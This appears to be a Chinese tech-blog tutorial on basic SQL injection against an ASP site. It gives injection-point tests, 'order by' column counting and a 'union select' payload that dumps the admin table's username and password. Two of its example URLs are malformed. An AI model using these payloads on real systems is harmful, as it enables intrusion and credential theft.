1. 当前位置:网站首页 > 技术教程

SQL注入语法


《我是谁—没有绝对安全的系统》

1.判断有无注入点:

http://127.0.0.1/index.asp?id=1 and 1=1

http://127.0.0.1/index.asp?id=1 and 1=2

http://127.0.0.1/index.asp?id=1



2.猜字段数:

http://127.0.0.1/index.asp?id=1 order by 字段数

例如: http://127.0.0.1/?id=index.asp? order by 11

http://127.0.0.1/?id=index.asp? order by 12

order by 11页面显示正常 order by 12 页面报错所以字段为11



3.暴露管理员用户、密码:

http://127.0.0.1/index.asp?id=1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

1、在链接后面添加语句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】,页面显示数字为2和3

2、在链接后面添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即可暴露管理员用户名和密码

http://127.0.0.1/index.asp?id=1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin

3、到此,即可知道管理员用户名:admin和密码:123456



>>>比较老的一种sql注入.大佬勿喷


本文最后更新于2019-6-26,已超过 3个月没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!
获取更多资讯请加入交流群

    协助本站SEO优化一下,谢谢!
    关键词不能为空
版权说明

本文地址:http://dufengvip.cn/post-117.html
未标注转载均为本站远程,转载请注明文章出处:

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:9:00-23:00,节假日休息

扫码关注